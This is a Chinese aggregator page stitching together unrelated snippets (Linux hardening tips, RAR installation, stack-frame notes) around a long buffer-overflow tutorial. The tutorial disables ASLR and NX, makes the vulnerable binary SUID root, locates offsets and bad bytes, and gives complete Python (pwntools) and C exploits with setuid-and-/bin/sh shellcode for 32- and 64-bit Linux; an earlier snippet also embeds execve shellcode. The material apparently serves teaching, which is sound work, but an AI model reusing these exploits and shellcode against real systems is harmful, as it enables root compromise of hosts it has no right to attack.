精华内容
下载资源
问答
  • 如何防范Linux操作系统下缓冲区溢出攻击
    2021-05-17 23:30:22

    (2)改写“rc.local”文件。默认情况下,当登录Linux系统时系统运行rc.local文件,显示该Linux发行版本的名字、版本号、内核版本和服务器名称等信息,这使得大量系统信息被泄露。将“rc.local”文件中显示这些信息的代码注释掉,可以使系统不显示这些信息。

    一种方法是在显示这些信息的代码行前加“#”:

    ……# echo ““>/etc/issue# echo “$R”>>/etc/issue# echo “Kernel $ (uname -r)on $a $(uname -m)”>>/etc/issue## echo >>/etc/issue……

    另一种方法是将保存有系统信息的文件/etc/issue.net和issue删除。这两个文件分别用于在远程登录和本地登录时向用户提供相关信息。删除这两个文件的同时,仍需要完成方法一中的注释工作,否则,系统在启动时将会自动重新生成这两个文件。

    (3)禁止提供finger服务。在Linux系统中,使用finger命令可以显示本地或远程系统中目前已登录用户的详细信息。禁止提供finger服务的有效方法是,通过修改该文件属性、权限(改为600)使得只有root用户才可以执行该命令。

    (4)处理“inetd.conf”文件。Linux系统通过inetd(超级服务器)程序根据网络请求装入网络程序。该程序通过“/etc/inetd.conf”文件获得inetd在监听哪些网络端口,为每个端口启动哪些特定服务等信息。因此,该文件同样会泄露大量的敏感信息。解决问题的方法是,通过将其权限改为600只允许root用户访问,并通过改写“/etc/inetd.conf”文件将不需要的服务程序禁止掉,最后修改该文件的属性使其不能被修改。

    总结

    缓冲区溢出攻击之所以能成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普遍,且易于实现攻击,因此缓冲区溢出问题一直是个难题。

    所幸的是,OpenBSD开发组为解决这一安全难题采用了三种新的有效策略。相信不久的将来,Linux用户可以不再为缓冲区溢出攻击而寝食难安了。

    RAR文件在Linux下用起来

    要在Linux下处理.rar文件,需要安装RAR for Linux。该软件可以从网上下载,但要记住,它不是免费的。大家可从http://www.onlinedown.net/sort/125_1.htm下载RAR for Linux 3.2.0,然后用下面的命令安装:

    # tar -xzpvf rarlinux-3.2.0.tar.gz

    # cd rar

    # make

    安装后就有了rar和unrar这两个程序,rar是压缩程序,unrar是解压程序。它们的参数选项很多,这里只做简单介绍,依旧举例说明一下其用法:

    # rar a all *.mp3

    这条命令是将所有.mp3的文件压缩成一个rar包,名为all.rar,该程序会将.rar 扩展名将自动附加到包名后。

    # unrar e all.rar

    这条命令是将all.rar中的所有文件解压出来。

    22/2<12

    更多相关内容
  • Linux缓冲区溢出攻击原理分析及防范.pdf
  • Linux缓冲区溢出攻击详解

    千次阅读 2021-10-21 01:11:23
    Linux缓冲区溢出攻击详解 (一)当一个函数被调用后,它会: 移动栈指针ESP,EBP。开辟一段栈空间 在栈(堆)空间内分配程序申请的局部变量 (二)当一个函数去调用另一个函数时,它会: 准备入口参数(形参...

    Linux缓冲区溢出攻击详解


    (一)当一个函数被调用后,它会:

    1. 移动栈指针ESP,EBP。开辟一段栈空间

    2. 在栈(堆)空间内分配程序申请的局部变量

    (二)当一个函数去调用另一个函数时,它会:

    1. 准备入口参数(形参压栈)
    2. 调用CALL指令

    (三)当call指令执行时会发生什么?

    1. CALL指令下一条指令的地址会被压入栈
    2. IP寄存器值发生改变,代码跳转至子程序*(IP如何变化?段间跳和跨段跳有所不同)*

    (四)call完之后进入子程序,子程序会做什么?

    显然,它会做和(一)一样的事情。

    详解:

    被调用者会将当前的栈底指针(当前的栈底指针还是属于调用者的,当然要帮它保存起来)压栈,然后将栈底指向当前的栈顶(把栈底移下来,往后的栈空间就是自己的了),接着根据局部变量的大小向低地址方向开辟一段栈空间(具体表现为ESP减去相应数值)。

    这部分有三条非常重要的汇编代码!

    PUSH EBP ;保存调用者的栈底

    MOV EBP, ESP ;将EBP改为调用者栈顶

    SUB ESP, (具体数值,由编译器计算) ;栈顶指针减,获取足够的栈空间

    任何被调用的函数开始一定要执行这三条指令,这样函数才能运行在自己的栈空间内。

    由于第一条指令就是PUSH EBP,所以一个函数栈帧的底部储存的数值往往是调用者的栈帧底(EBP值)。

    函数拥有了自己的栈空间之后,会将自己函数体内的所有局部变量从低地址往高地址回填(比如先从EBP-12开始填,然后填EBP-8,EBP-4,EBP-0…)。

    调用者的返回地址早已经在它调用CALL指令时被压入栈内了,一般它在call指令时被压入栈的,所以一般返回地址在调用者栈帧的顶部。

    也就是被调用者栈帧底部+4所在的位置。

    如果我们的局部变量从低地址往高地址回填的过程中发生了溢出,修改了EBP+4的值,函数返回地址将出现错误。如果这个返回地址是攻击者精心构造的恶意代码的入口,就形成了缓冲区溢出攻击。

    展开全文
  • Linux缓冲区溢出攻击检测与防范技术.pdf
  • 一、溢出目标无论是在windows下还是在linux下,溢出攻击基本上都是以控制计算机的执行路径为目标,而x86下执行哪条指令是由eip寄存器来控制的,所以如果能够修改eip寄存器的值,就可以修改计算机的执行路径。...

    一、溢出目标

    无论是在windows下还是在linux下,溢出攻击基本上都是以控制计算机的执行路径为目标,而x86下执行哪条指令是由eip寄存器来控制的,所以如果能够修改eip寄存器的值,就可以修改计算机的执行路径。 所以溢出的目标:控制eip寄存器。

    二、关于call/ret

    但是如何修改eip寄存器呢?在汇编指令中有一个和eip寄存器紧密相关的指令ret,ret就可以理解为pop eip。而ret指令在正常函数调用的时候都会执行的。

    我们来看下linux中函数调用的例子:

    #include

    int swap(int *a, int *b)

    {

    int t;

    t = *a;

    *a = *b;

    *b = t;

    }

    int main()

    {

    int a;

    int b;

    a = 6;

    b = 8;

    //printf("%d %d/n",a,b);

    swap(&a,&b);

    //printf("%d %d/n",a,b);

    return ;

    }

    下面是objdump –d 得到的 汇编指令。

    08048344 :

    8048344: 55 push %ebp

    8048345: 89 e5 mov %esp,%ebp

    8048347: 83 ec 10 sub $0x10,%esp

    804834a: 8b 45 08 mov 0x8(%ebp),%eax

    804834d: 8b 00 mov (%eax),%eax

    804834f: 89 45 fc mov %eax,-0x4(%ebp)

    8048352: 8b 45 0c mov 0xc(%ebp),%eax

    8048355: 8b 10 mov (%eax),%edx

    8048357: 8b 45 08 mov 0x8(%ebp),%eax

    804835a: 89 10 mov %edx,(%eax)

    804835c: 8b 55 0c mov 0xc(%ebp),%edx

    804835f: 8b 45 fc mov -0x4(%ebp),%eax

    8048362: 89 02 mov %eax,(%edx)

    8048364: c9 leave

    8048365: c3 ret

    08048366 :

    8048366: 8d 4c 24 04 lea 0x4(%esp),%ecx

    804836a: 83 e4 f0 and $0xfffffff0,%esp

    804836d: ff 71 fc pushl -0x4(%ecx)

    8048370: 55 push %ebp

    8048371: 89 e5 mov %esp,%ebp

    8048373: 51 push %ecx

    8048374: 83 ec 18 sub $0x18,%esp

    8048377: c7 45 f8 06 00 00 00 movl $0x6,-0x8(%ebp)

    804837e: c7 45 f4 08 00 00 00 movl $0x8,-0xc(%ebp)

    8048385: 8d 45 f4 lea -0xc(%ebp),%eax

    8048388: 89 44 24 04 mov %eax,0x4(%esp)

    804838c: 8d 45 f8 lea -0x8(%ebp),%eax 804838f: 89 04 24 mov %eax,(%esp)

    8048392: e8 ad ff ff ff call 8048344

    8048397: 83 c4 18 add $0x18,%esp

    804839a: 59 pop %ecx

    804839b: 5d pop %ebp

    804839c: 8d 61 fc lea -0x4(%ecx),%esp

    804839f: c3 ret

    我们用图来解释一下在函数调用时都发生了什么。

    fc77ed0ed7a6839fe73c6d0318468862.png

    下面是几个有用的结论:

    1、当被调用函数开始执行时堆栈由高地址到低地址依次是:被调用函数的参数(参数n,参数n-1……,参数0),eip的原始值,ebp的原始值,被调用函数自己的局部变量。这些东东不一定是连续存储的。

    2、被调用函数的局部变量的地址我们是可以知道的,保存eip原始值的位置就在局部变量的不远处。

    3、当被调用函数返回时,由ret指令恢复现场,把堆栈中的eip的原始值交还给eip。

    那么,我们只要找到堆栈中eip原始值的存储位置,把他改成shellcode的地址就OK了。

    三、一个例子

    这个例子是当main函数(也是被别的函数调用的,只不过名字比较特殊)返回时,我们把eip改掉,让他来执行/bin/ls。这段代码在arch linux是可以执行的。

    char shellcode[] =

    "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"

    "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

    "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6c\x73\x00\xc9\xc3";

    int main ()

    {

    int buf[1];

    buf[7] = (int) shellcode;

    return 0;

    }

    四、关于堆栈保护

    但是上面的代码在redhat下面运行就会报段错误。因为redhat使用了堆栈保护技术,就是数据段的数据尤其是堆栈段的数据是不能被执行。

    我们可以执行首先执行 sudo echo 0 | tee /proc/sys/kernel/exec-shield。

    再运行上面的那个例子,不出意外的话应该溢出成功了:在redhat下堆栈保护的开关是由/proc/sys/kernel/exec-shield这个文件控制的。

    在实际攻击时,还有其他巧妙的方法绕过Linux不可执行堆栈保护。

    展开全文
  • 缓冲区溢出漏洞原理及Linux下利用

    万次阅读 2021-12-26 19:31:11
    ASLR通过随机放置进程关键数据区域的地址空间来防止攻击者能可靠地跳转到内存的特定位置来利用函数,以防范恶意程序对已知地址进行Return-to-libc攻击。ASLR在每次启动操作系统时会随机化加载应用程序的基地址和dll...

    常见保护措施

    ASLR

    ASLR 是一种防范内存损坏漏洞被利用的计算机安全技术。ASLR通过随机放置进程关键数据区域的地址空间来防止攻击者能可靠地跳转到内存的特定位置来利用函数,以防范恶意程序对已知地址进行Return-to-libc攻击。ASLR在每次启动操作系统时会随机化加载应用程序的基地址和dll,只能随机化 堆、栈、共享库的基址。

    Linux下查看:

    cat /proc/sys/kernel/randomize_va_space
    

    值为0表示未开启,值为1表示半开启,仅随机化栈和共享库,值为2表示全开启,随机化堆、栈和共享库

    Windows下默认开启ASLR

    关闭方法:

    “开始”——>“设置”——>“更新与安全”——>“windows安全中心”——>“打开windows安全中心”——>“应用与浏览器控制”——>“Exploit Protection设置”

    强制映像随机化默认关闭,只需关闭随机化内存分配和高熵ASLR即可,如图:

    Untitled.png

    使用CFF explorer,取消勾选"DLL can move"的复选框,如图:

    Untitled2.png

    修改HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management

    关闭:"MoveImages"=dword:00000000

    开启:"MoveImages"=-

    DEP

    数据执行保护(DEP)是一组对内存进行额外检查的硬件和软件技术,以帮助防止恶意代码在系统上运行。

    NX

    No-Execute(不可执行),NX的原理是将数据所在内存页标识为不可执行,当程序执行流被劫持到栈上时,程序会尝试在数据页面上执行指令,因为数据页被标记为不可知性,此时CPU就会抛出异常,而不是去执行栈上数据。

    未启用时:栈可以执行,栈上的数据也可以被当作代码执行。

    启用时:栈不可执行,栈上的数据程序只认为是数据,如果去执行的话会发生错误。即栈上的数据不可以被当作代码执行。

    ## 栈可执行:NX disabled
    gcc -z execstack
    ## 栈不可执行:NX enabled(默认选项)
    gcc -z noexecstack
    

    PIE

    PIE(Position Independent Executables)是编译器(gcc,…)功能选项(-fPIE / -fpie),作用于编译过程,可将其理解为特殊的 PIC(so专用,Position Independent Code),加了 PIE 选项编译出来的 ELF 用 file 命令查看会显示其为 so,其随机化了 ELF 装载内存的基址(代码段、plt、got、data 等共同的基址)。其效果为用 objdump、IDA 反汇编之后的地址是用偏移表示的而不是绝对地址。

    启用时:代码段、plt、got、data 等共同的基址会随机化。在编译后的程序中,只保留指令、数据等的偏移,而不是绝对地址的形式。

    ## 关闭:No PIE(默认选项)
    -no-pie
    ## 开启:PIE enabled
    -fpie -pie / -fPIE -pie 
    ## 笔者并不知道这两个选项有什么区别,在用不同选项编译一个程序时他们两个的 hash 居然都一样,所以在此求教各位。
    

    Canary

    金丝雀保护,开启这个保护后,函数开始执行的时候会先往栈里插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法,如果不合法就停止程序运行。真正的 cookie 信息也会保存在程序的某个位置。插入栈中的 cookie 一般在 ebp/rbp 之上的一个内存单元保存。

    部分函数保护:在一些容易受到攻击的函数返回地址之前添加 cookie 。在函数返回时,检查该 cookie 与原本程序插入该位置的 cookie 是否一致,若一致则程序认为没有受到栈溢出攻击。

    所有函数保护:有的自定义函数在返回地址之前都会添加 cookie 。在函数返回时,检查该 cookie 与原本程序插入该位置的 cookie 是否一致,若一致则程序认为没有受到栈溢出攻击。

    ## 无 canary 保护:No canary found
    -fno-stack-protector() / -fstack-protector()
    ## 部分 canary 保护:Canary found(默认选项)
    -fstack-protector-strong
    ## 全部 canary 保护:Canary found
    -fstack-protector-all
    

    RELRO

    设置符号重定位表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对 GOT 攻击。

    未开启:在这种模式下关于重定位并不进行任何保护。

    部分开启:在这种模式下,一些段 (包括.dynamic) 在初始化后将会被标识为只读。

    全部开启:在这种模式下,除了会开启部分保护外。惰性解析会被禁用(所有的导入符号将在开始时被解析,.got.plt 段会被完全初始化为目标函数的终地址,并被标记为只读)。此外,既然惰性解析被禁用,GOT[1] 与 GOT[2] 条目将不会被初始化为提到的值。

    ## 关闭: No RELRO
    -z norelro
    ## 开启: Partial RELRO(默认选项)
    -z lazy
    ## 完全开启: Full RELRO
    -z now
    

    Linux下32位程序栈溢出

    漏洞代码

    #include <stdio.h>
    #include <string.h>
    void success()
    {
        puts("Success!\n");
    }
    void vuln(char *p)
    {
        char buff[100];
        char buff2[100];
        strcpy(buff,p);
    }
    int main(int argc, char **argv)
    {
        if(argc<2)
        {
            printf("Usage: %s <String>\n",argv[0]);
            return 0;
        }
        vuln(argv[1]);
        return 0;
    }
    

    无保护编译

    gcc pwn_1.c -o pwn_1 -m32 -z execstack -z norelro -no-pie

    赋予程序特权

    sudo chown 0:0 pwn_1
    sudo chmod 4755 pwn_1
    

    查看保护

    程序为32位小端序,未启用任何保护,如图:
    在这里插入图片描述

    关闭操作系统ASLR

    sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
    

    内存结构

    b.png

    Shellcode布局方式

    1、Payload=填充数据+shellcode+填充数据+jmp esp地址
    c.png
    2、Payload=填充数据+jmp esp地址+ shellcode
    d.png

    定位溢出点

    查看main函数:disassemble main
    设置断点:b *0x0804918c(随便设置一个断点)

    1. 生成200个字符,如图:
      e.png

    2. 作为参数传入程序,使程序奔溃,此时EIP为的值为:daab,也就是EBP的下4个字节,如图:
      f.png

    3. 计算偏移量,如图:
      g.png

    控制EIP

    1. 传入112个A字符和4个B字符覆盖EIP,和若干C字符,成功使用4个B字符覆盖EIP,此时字符C在ESP中,如图:
      h.png

    2. 查找success函数地址,将EIP的值覆盖为success函数的地址,从而调用success函数,如图:
      z.png
      i.png

    定位shellcode空间

    1. 使用第一种shellcode布局方式部署shellcode,此时EAX到EDX都出现填充字节,如图:
      j.png

    2. 查看EAX寄存器的值发现shellcode,如图:
      k.png

    3. 使用第二种shellcode布局方式部署shellcode,此时ESP指向shellcode,如图:
      l.png

    4. 查看ESP寄存器的值发现shellcode,如图:
      m.png

    检测坏字节

    1. 第一种shellcode布局方式下使用String+填充数据检测坏字节,没有坏字节的情况下数据没有被截断,会造成奔溃,如图:
      n.png

    2. 有坏字节的情况下数据被截断,不会造成奔溃,如图:
      o.png

    3. 第二种shellcode布局方式下使用填充数据+String检测坏字节,在0x08之后的数据被截断,说明坏字节是0x09,如图:
      p.png

    4. 0x1f之后的数据被截断,说明坏字节是0x20,如图:
      q.png

    5. 之后就没有坏字节了,如图:
      r.png

    6. 本程序中的坏字节如下:

    0x00,0x09,0x0a,0x20
    

    Get Shell

    1. 使用第一种布局方式时,覆盖EIP的值为EAX寄存器的地址即可执行shellcode,如图:
      s.png

    2. 查看程序汇编代码,查找跳转到EAX寄存器的指令地址,如图:
      t.png

    3. 覆盖EIP的值为call *%eax指令地址即可执行shellcode(可绕过操作系统ASLR),如图:
      在这里插入图片描述

    4. 使用第二种布局方式时,覆盖EIP的值为ESP寄存器的地址即可执行shellcode,如图:
      v.png

    5. 使用EDB打开程序,如图:
      w.png

    6. 运行之后查找jmp esp指令的地址,如图:
      x.png

    7. 覆盖EIP的值为jmp esp指令地址即可执行shellcode(可绕过操作系统ASLR),如图:
      y.png

    EXP

    第一种布局方式Python利用代码

    #!/usr/bin/python3
    from pwn import *
    # 偏移量
    offset=112
    # call eax地址
    eax=0x8049019
    sc=b'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
    pad=b'\x90'*8+sc+b'\x90'*(offset-40)
    
    buffer=pad+p32(eax)
    
    p=process(['./pwn_1',buffer])
    p.interactive()
    

    第二种布局方式Python利用代码

    #!/usr/bin/python3
    from pwn import *
    
    offset=112
    esp=0x804a087
    sc=b'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
    pad=b'\x90'*offset
    
    buffer=pad+p32(esp)+sc
    
    p=process(['./pwn_1',buffer])
    p.interactive()
    

    第一种布局方式C利用代码

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    
    int main(int argc,char **argv)
    {
    	// 偏移量
    	int offset=112;
    	// call eax地址
    	char eax_addr[]="\x19\x90\x04\x08";
    	// shellcode
    	char sc[]="\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
    	char buff[200];
    	// 将buff全部设置为Nop
    	memset(buff,0x90,200);
    	// 在第8个字符后面放置shellcode
    	memcpy(buff+8,sc,32);
    	// 在第112个字符后放置call eax地址
    	memcpy(buff+offset,eax_addr,4);
    	// 运行第一个参数指向的程序,并将buff传入程序
    	execl(argv[1],argv[1],buff,NULL);
    	return 0;
    }
    

    第二种布局方式C利用代码

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    
    int main(int argc,char **argv)
    {
    	// 偏移量
    	int offset=112;
    	// jmp esp地址
    	char esp_addr[]="\x87\xa0\x04\x08";
    	// shellcode
    	char sc[]="\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
    	char buff[400];
    	// 将buff全部设置为Nop
    	memset(buff,0x90,400);
    	// 在第112个字符后放置jmp esp地址
    	memcpy(buff+offset,esp_addr,4);
    	// 在第116个字符后面放置shellcode
    	memcpy(buff+116,sc,32);
    	
    	// 运行第一个参数指向的程序,并将buff传入程序
    	execl(argv[1],argv[1],buff,NULL);
    	return 0;
    }
    

    Linux下64位程序栈溢出

    32位和64位的区别

    linux_64与linux_86的区别主要有两点:

    1. 首先是内存地址的范围由32位变成了64位,但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
    2. 其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。

    漏洞代码

    #include <stdio.h>
    #include <string.h>
    void success()
    {
        puts("Success!\n");
    }
    void vuln(char *p)
    {
        char buff[100];
        char buff2[100];
        strcpy(buff,p);
    }
    int main(int argc, char **argv)
    {
        if(argc<2)
        {
            printf("Usage: %s <String>\n",argv[0]);
            return 0;
        }
        vuln(argv[1]);
        return 0;
    }
    

    无保护编译

    gcc pwn_1.c -o pwn_1_x64 -m64 -z execstack -z norelro -no-pie

    赋予程序特权

    sudo chown 0:0 pwn_1_x64
    sudo chmod 4755 pwn_1_x64
    

    查看保护措施

    Untitled.png

    定位溢出点

    1. 生成200个字符传入使程序奔溃,此时RSP的值为RIP指向的地址,也就是函数返回地址,如图:
      a.png

    2. 计算RSP低地址位的4个字节获得偏移量,如图:
      b.png

    控制RIP

    1. 传入120个A字符和8个B字符覆盖RIP,成功使用8个B字符覆盖RIP,如图:
      c.png

    2. 查找success函数地址,将RIP的值覆盖为success函数的地址,从而调用success函数
      `

    r `python -c "print 'A'*120+'\x42\x11\x40'"`
    

    d.png

    定位shellcode空间

    1. 使用填充数据+shelcode+填充数据+RIP布局方式将Payload传入参数
    r `python -c "print '\x90'*23+'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'+'\x90'*70+'\x50\xdf\xff\xff\xff\x7f'"`
    
    1. 程序奔溃时在RAX寄存器中发现填充数据,如图:
      e.png

    2. 查看RAX寄存器内容发现传入的shellcode,如图:
      f.png

    检查坏字节

    和32位程序检查坏字节的方法一样

    Get Shell

    1. 覆盖RIP的值为RAX寄存器的地址即可执行shellcode,如图:
      g.png

    2. 查看程序汇编代码,查找跳转到RAX寄存器的指令地址,如图:
      h.png

    3. 覆盖RIP的值为callq *%rax指令地址即可执行shellcode(可绕过操作系统ASLR),不同的shellcode有不同的结果,可能无法获得root权限

    ./pwn_1_x64 `python -c "print '\x90'*27+'\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'+'\x90'*50+'\x10\x10\x40'"`
    

    i.png

    EXP

    Python利用代码

    #!/usr/bin/python3
    from pwn import *
    
    # call rax地址
    rax=b'\x10\x10\x40'
    # 偏移量
    offset=120
    # 43字节可获得root权限的shellcode
    sc=b'\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
    pad=b'\x90'*27+sc+b'\x90'*(offset-27-43)
    
    buff=pad+rax
    
    ret=process(['./pwn_1_x64',buff])
    ret.interactive()
    

    C利用代码

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    
    int main(int argc,char **argv)
    {
    	// 偏移量
    	int offset=120;
    	// call rax地址
    	char rax_addr[]="\x10\x10\x40";
    	// shellcode
    	char sc[]="\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
    	char buff[200];
    	// 将buff全部设置为Nop
    	memset(buff,0x90,200);
    	// 在第8个字符后面放置shellcode
    	memcpy(buff+8,sc,43);
    	// 在第120个字符后放置call rax地址,长度4和8都可,不足4字节可以填4
    	memcpy(buff+offset,rax_addr,4);
    	// 运行第一个参数指向的程序,并将buff传入程序
    	execl(argv[1],argv[1],buff,NULL);
    	return 0;
    }
    
    展开全文
  • 针对 Linux系统存在缓冲区容易溢出的漏洞,从分析系统产生溢出漏洞的原因入手,介绍了攻击者如 何利用这些漏洞进行攻击的步骤和方法,为阻止攻击者的各种攻击,采取几种相应的常用防范措施,堵塞漏洞,弥补系统本身存在的...
  • 缓冲区溢出攻击就是利用越界改写,然后将调用函数的返回地址覆盖,覆盖的这个地址是攻击者事先已经准备好的函数的地址,从而在函数调用结束后,将控制权转移到攻击者的函数那里,从而执行攻击者的程序。 代码: ...
  • 主题:[请教]我想实现缓冲区溢出攻击。就是原程序读取一个字符串。我输入一个特殊的字符串,覆盖掉原返回地址,使其执行在栈里的代码。但是当执行到栈里代码时,就会 段错误 而退出。请问这个是不是现在linux内核禁止...
  • 防范Linux缓冲区溢出攻击.pdf
  • 缓冲区溢出攻击.pdf

    2020-04-15 20:09:21
    介绍linux系统下,gcc编译的c代码如何利用缓冲区溢出修改函数返回地址和参数,实现攻击,含函数栈帧的分析。
  • Linux缓冲区溢出攻击及Shellcode

    千次阅读 2015-05-07 16:41:54
    4.3.2 Linux32环境下函数的返回地址 编译、链接、执行程序buffer_overflow.c,并关闭Linux的栈保护机制,参见截图: 下面用gdb调试程序: 在foo函数的入口、调用strcpy函数处和foo返回处设置断点:   ...
  • Linux系统缓冲区溢出攻击的机理分析.pdf
  • 经典缓冲区溢出攻击源代码,包含详细的分析文档,不可多得的 <br>资源,对于理解缓冲区溢出原理以及汇编语言有很好的帮助。《 <br>深入理解计算机系统》一书中使用到的例子,我将这个例子进行 <br>了详细的...
  • 增强Linux核心抵御缓冲区溢出攻击.pdf
  • 缓冲区溢出攻击

    千次阅读 2020-05-12 23:44:35
    简单介绍缓冲区溢出攻击原理; 关闭防护措施,进行缓冲器溢出攻击实验; 最后从不同层次简单提及缓冲区溢出的防御措施;
  • 1 缓冲区溢出攻击实验的内容、原理、方法和基本步骤; 2 过程调用的机器级表示、栈帧组成结构、缓冲区溢出等知识的回顾与应用。 实验目标: 1 加深对函数调用规则、栈结构、缓冲区溢出攻击原理、方法与防范等方面...
  • Windows 缓冲区溢出利用实验 原理 概念 危害 实验 实验环境 实验步骤 配置软件 1. 尝试缓冲区溢出 01.py 2. 测试PASS 命令接收到大量数据时是否会溢出 02.py 3. 精确定位EIP中存放的是第几个字符 03.py 4. 精确定位 ...
  • 介绍了 Linux系统下缓冲区溢出的原理和 shellcode具体实现方法。阐述了远程 shellcode从 C代码到机器码的编写过程,并从成功率角度对攻击方法进行了分析。利用 red hat 9.0上的漏洞程序对 shellcode进行了测试。对...
  • linux 缓冲区溢出 漏洞攻击 获取root权限 shell
  • 本实验的学习目标是让学生将从课堂上学到的有关缓冲区溢出漏洞的知识进行实践,从而获得有关该漏洞的第一手经验。缓冲区溢出是指程序试图将数据写入预先分配的固定长度缓冲区边界之外的情况。恶意用户可利用此漏洞...
  • 计算机系统(2) 实验四 缓冲区溢出攻击实验一、 实验目标:二、实验环境:三、实验内容四、实验步骤和结果(一)返回到smoke(二)返回到fizz()并准备相应参数(三)返回到bang()且修改global_value五、实验总结与...
  • Linux下的缓冲区溢出攻击技术研究,很好的说是论文,对研究缓冲区溢出攻击有很大的帮助。
  • 基本的栈溢出攻击,是最早产生的一种缓冲区溢出攻击方法,它是所有其他缓冲区溢出攻击的基础。但是,由于这种攻击方法产生的时间比较长,故而GCC编译器、Linux操作系统提供了一些机制来阻止这种攻击方法对系统产生...
  • 前言从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的...历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Mo...
  • Linux系统缓冲区溢出漏洞攻击的防范.pdf
  • 掌握缓冲区溢出攻击方法; 进一步熟练掌握GDB调试工具和objdump反汇编工具。 二、实验环境: 计算机(Intel CPU) Linux 64位操作系统 GDB调试工具 objdump反汇编工具 三、实验内容 本实验设计为一个黑客利用缓冲...
  • 研究论文-对 Linux系统缓冲区溢出漏洞攻击的防范

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 12,404
精华内容 4,961
关键字:

linux缓冲区溢出攻击